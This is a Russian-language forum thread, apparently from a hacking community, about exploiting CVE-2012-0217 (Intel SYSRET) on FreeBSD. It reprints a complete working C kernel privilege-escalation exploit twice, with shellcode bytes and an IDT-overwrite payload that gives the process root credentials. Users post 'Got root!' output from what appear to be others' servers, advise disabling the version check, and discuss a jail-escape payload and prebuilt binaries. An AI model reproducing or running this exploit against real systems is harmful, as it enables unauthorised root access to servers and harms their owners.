if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf(" Fire in the hole!\n");
((void (*)())trigger_addr)();
}

typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;

int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};

int found = 0;
int i = 0;

while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}

void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];

do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}

int is_intel()
{
char cpu_vendor[13];

get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}

int main(int argc, char *argv[])
{
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");

printf(" Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf(" Validating target OS and version...\n");
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
printf(" Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}

Твит про работу на 7.4: @izsh1911: On FreeBSD 7.4 the trap_frame is different n Xprot as well.Hence the #exploit would need to be adapted

euro
08.07.2012, 12:23
сплоит с 12 поста отправил сервак в даун

uname -a
FreeBSD 7.4-STABLE FreeBSD 7.4-STABLE #4: Sun Oct 2 19:50:29 EEST 2011 root@xxx.com:/usr/obj/usr/src/sys/ALLT amd64

sysctl -a|grep "hw."
vfs.flushwithdeps: 0
debug.hwpstate_verbose: 0
hw.machine: amd64
hw.model: Intel(R) Xeon(R) CPU X3210 @ 2.13GHz
последний сплоит не отработал (

SynQ
09.07.2012, 10:17
Эти эксплойты для 9.0 и 8.3.

euro
09.07.2012, 14:00
жаль, а на 7.х портирование стоит ждать ? )

col
10.07.2012, 12:29
8.3-RELEASE-p2 FreeBSD 8.3-RELEASE-p2 #0: Sat Jun 2 00:20:01 MSK 2012

сплойт из 12 поста отправил в даун


objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file
objdump: '/boot/kernel/kernel': No such file

SynQ
10.07.2012, 14:17
col
Там надо проверку прикрутить на существование /boot/kernel/kernel.
Юзай тот, что в 17-ом посте, он без образа ядра обходится. Но прежде думаю не помешает убедиться, что ты не в jail (т.к. /boot/kernel/kernel отсутствует).

col
10.07.2012, 14:53
col
Там надо проверку прикрутить на существование /boot/kernel/kernel.
Юзай тот, что в 17-ом посте, он без образа ядра обходится. Но прежде думаю не помешает убедиться, что ты не в jail (т.к. /boot/kernel/kernel отсутствует).

./syn
CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)

Retrieving host information...
[+] CPU: GenuineIntel
[+] sysname: FreeBSD
[+] release: 8.3-RELEASE-p2
[+] version: FreeBSD 8.3-RELEASE-p2 #0: Sat Jun 2 00:20:01 MSK 2012
[+] machine: amd64
Validating target OS and version...
[+] NOT Vulnerable :-(

ну да черт с ним

SynQ
10.07.2012, 17:43
col
Закомментируй "exit(1);" в main().

col
10.07.2012, 18:41
col
Закомментируй "exit(1);" в main().

о, спасибо - сам я что-то недодумался :)

CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)

Retrieving host information...
[+] CPU: GenuineIntel
[+] sysname: FreeBSD
[+] release: 8.3-RELEASE-p2
[+] version: FreeBSD 8.3-RELEASE-p2 #0: Sat Jun 2 00:20:01 MSK 2012
[+] machine: amd64
Validating target OS and version...
[+] NOT Vulnerable :-(
Resolving kernel addresses...
[+] Resolved Xofl to 0xffffffff80597330
[+] Resolved Xbnd to 0xffffffff80597360
[+] Resolved Xill to 0xffffffff80597390
[+] Resolved Xdna to 0xffffffff805973c0
[+] Resolved Xpage to 0xffffffff80597710
[+] Resolved Xfpu to 0xffffffff80597480
[+] Resolved Xalign to 0xffffffff80597540
[+] Resolved Xmchk to 0xffffffff80597420
[+] Resolved Xxmm to 0xffffffff805974b0
Setup...
[+] Trigger code...
[+] Trampoline code...
Fire in the hole!
Got root!
id
uid=0(root) gid=0(wheel) groups=0(wheel),1001(mgrsecure)

azid
10.07.2012, 21:40
8.2-RELEASE-p6 FreeBSD 8.2-RELEASE-p6 #0: Sun Jan 22 08:02:13 MSK 2012 /usr/obj/usr/src/sys/WEB1 amd64

портирование ожидается?)


ЗЫ:А под XEN че нить ожидается?)

12309
11.07.2012, 16:33
> 1001(mgrsecure)

негоже ломать ру сервера!

overxor
15.07.2012, 05:04
col, сори моя вина.
У iZsh сплойт лучше проработан в плане полных проверок и получений фукнций через kldsym. Нет необходимости читать данные из файла ядра напрямую.

col
15.07.2012, 13:38
col, сори моя вина.

нет проблем, в любом случае спасибо за твой труд.

Megatron13
05.08.2012, 18:56
Так, привет всем. у меня вопрос по эксплоиту из поста 17.
при использовании вылезло вот это:

Retrieving host information...
[+] CPU: GenuineIntel
[+] sysname: FreeBSD
[+] release: 8.3-RELEASE-p3
[+] version: FreeBSD 8.3-RELEASE-p3 #3: Tue Jun 26 12:14:08 CEST 2012 [тут был адрес сервера]:/usr/obj/usr/src/sys/AMANDA3
[+] machine: amd64
Validating target OS and version...
[+] NOT Vulnerable :-(


затем я сделал как написано тут
col
Закомментируй "exit(1);" в main().
и при использовании теперь вылезает ошибка Bus error (core dumped).
Что делать? как использовать эксплоит? помогите плз.

overxor
06.08.2012, 00:24
Пропатчено

Pashkela
10.08.2012, 21:43
Презентация от автора баги - Rafal Wojtczuk с BLACKHAT USA 2012:

https://media.blackhat.com/bh-us-12/Briefings/Wojtczuk/BH_US_12_Wojtczuk_A_Stitch_In_Time_Slides.pdf

PS: есть про LINUX особенности (пусть и "старых" систем), есть разъяснения про неканонические адреса и т.д.

snake
11.08.2012, 20:35
8.2-STABLE FreeBSD 8.2-STABLE #0: Tue Jun 19 14:07:43 EDT 2012 amd64


CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)

Retrieving host information...
[+] CPU: GenuineIntel
[+] sysname: FreeBSD
[+] release: 8.2-STABLE
[+] version: FreeBSD 8.2-STABLE #0: Tue Jun 19 14:07:43 EDT 2012 mlehner@iddhi.pair.com:/usr/obj/usr/src/sys/82PAIRg-AMD64
[+] machine: amd64
Validating target OS and version...
[+] NOT Vulnerable :-(


закоментил exit(1) в main >
Bus error (core dumped)

,второй сплойт отработал также(

Похоже что и правда попатчено((

Andrey1800
12.08.2012, 00:16
8.2-STABLE FreeBSD 8.2-STABLE #0: Tue Jun 19 14:07:43 EDT 2012 amd64
FreeBSD-SA-12:04.sysret
0. Revision History

v1.0 2012-06-12 Initial release.
v1.1 2012-06-19 Corrected patch FreeBSD 8.1.

все что после 12 июня по идее можно не смотреть. хотя в stable не всегда все патчи наложены

snake
12.08.2012, 12:41
так отож,хотя сервак пейровский,наверное патчено.

Pashkela
27.08.2012, 19:55
Microsoft Windows Kernel Intel x64 SYSRET PoC (http://www.exploit-db.com/exploits/20861/)

Source (http://packetstormsecurity.org/files/115908/sysret.rar)

Exploit (http://www.exploit-db.com/sploits/20861.rar)

col
01.09.2012, 03:28
друзья, а не поделитесь бинарниками к сабжу?
на уязвимом сервере компилятора нет, а виртуалки с фрей прямо сейчас у меня нет

SynQ
01.09.2012, 13:01
col
Прикрепить бы к 17-му посту, но по размеру не проходит. Если выходит по exit(), то запускать "./iZsh 1".
В комплекте сорс, статическая и динамические версии (скомпилировано на 9.0). (http://rghost.ru/41292866)

SynQ
04.09.2012, 17:11
Пост об эксплутатации баги под Xen:
http://www.vupen.com/blog/20120904.Advanced_Exploitation_of_Xen_Sysret_VM_Es cape_CVE-2012-0217.php

PS Первый пост обновлен, собраны все ссылки по багу.

Serafim
11.01.2013, 19:39
iZsh выложил write-up и свой эксплойт:
http://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd.html

Очень похож на эксплойт от overxor, но есть небольшие отличия. Также 8.3 и 9.0.

// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>

uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;

struct gate_descriptor * sidt()
{
struct region_descriptor idt;

asm ("sidt %0": "=m"(idt));

return (struct gate_descriptor*)idt.rd_base;
}

u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;

ksym.version = sizeof (ksym);
ksym.symname = symname;

if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}

// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;

ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}

void shellcode()
{
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf(" Got root!\n");
exit(0);
}

void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;

// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18

// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));

// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;

// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}

#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18

void trigger()
{
printf(" Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}

// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall

uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);

// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax

uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf(" Fire in the hole!\n");
((void (*)())trigger_addr)();
}

typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;

int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};

int found = 0;
int i = 0;

while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}

void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];

do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}

int is_intel()
{
char cpu_vendor[13];

get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}

int main(int argc, char *argv[])
{
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");

printf(" Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf(" Validating target OS and version...\n");
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
printf(" Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}

Твит про работу на 7.4: @izsh1911: On FreeBSD 7.4 the trap_frame is different n Xprot as well.Hence the #exploit would need to be adaptedУбрал exit в main(), получаю:
$./a.out
Bus error (core dumped)

$strings a.out.core | grep root
Got root!
[+] version: FreeBSD 8.2-RELEASE-p3 #1: Thu Sep 29 15:43:45 EEST 2011 root@site.com:/usr/obj/usr/src/sys/WORK
FreeBSD 8.2-RELEASE-p3 #1: Thu Sep 29 15:43:45 EEST 2011 root@site.com:/usr/obj/usr/src/sys/WORK
USER=root
MAIL=/var/mail/root

$whoami
www

$id
uid=80(www) gid=80(www) groups=80(www)В чем может быть проблема или как исправить?

P.S. На сервере Jail :mega_shok:

SynQ
12.01.2013, 09:27
Вероятно проблема в версии 8.2.
Нужно портировать эксплойт под нее и править пэйлоад для обхода джейла.

Serafim
12.01.2013, 11:38
Вероятно проблема в версии 8.2.
Нужно портировать эксплойт под нее и править пэйлоад для обхода джейла.Все говорят что править нужно, но вот с "правщиками" проблема, никак найти их не могу.

P.S. Вот что сказал iZsh - автор сплоита:
"iirc 8.2 is not vulnerable because they dont use sysret at the end of the syscall to return from it"

SynQ
12.01.2013, 13:13
Неудивительно, уровень необходимых знаний предполагает, что таких людей немного, и заинтересовать их нелегко.

И раз iZsh говорит, что 8.2 неуязвима, то наверно так и есть...

Untitled
25.03.2013, 19:09
Я правильно понял, что при jail'e нет смысла запускать данный эксплойт?

SynQ
27.03.2013, 11:57
Вероятно да, нужно модифицировать payload.

overxor
27.03.2013, 12:56
Обновил шелкод для jail. Протестировал на 9.0.
Untitled, попробуй https://rdot.org/forum/showpost.php?p=26841&postcount=12.
По возможности отпишись в ЛС об успешности выполнения эксплойта.

SynQ
08.07.2013, 13:00
Похожие баги, связанные с interrupt handling:
CVE-2009-2793 Iret #GP on pre-commit handling failure: the NetBSD case https://www.cr0.org/misc/CVE-2009-2793.txt
CVE-2008-3890 amd64 swapgs local privilege escalation http://security.freebsd.org/advisories/FreeBSD-SA-08:07.amd64.asc
CVE-2008-4279 VMware Emulation Flaw x64 Guest Privilege Escalation (Interrupt Can Occur at Non-Canonical RIP After Indirect Jump) http://lists.grok.org.uk/pipermail/full-disclosure/2008-October/064860.html

Faaax
23.12.2013, 20:27
из 12 поста отработал нормально,но после положил серв.
Из 17 с закоментированной строкой пишет ошибку.
Как ещё попробовать можно?

SynQ
27.02.2015, 14:16
Свежий write-up по эксплуатация в Xen:
Adventures in Xen exploitation (https://www.nccgroup.com/en/blog/2015/02/adventures-in-xen-exploitation/)

PS Кстати, по эксплуатации систем виртуализации совсем скоро (в марте) похоже хороший тренинг будет в Германии на конфе Troopers.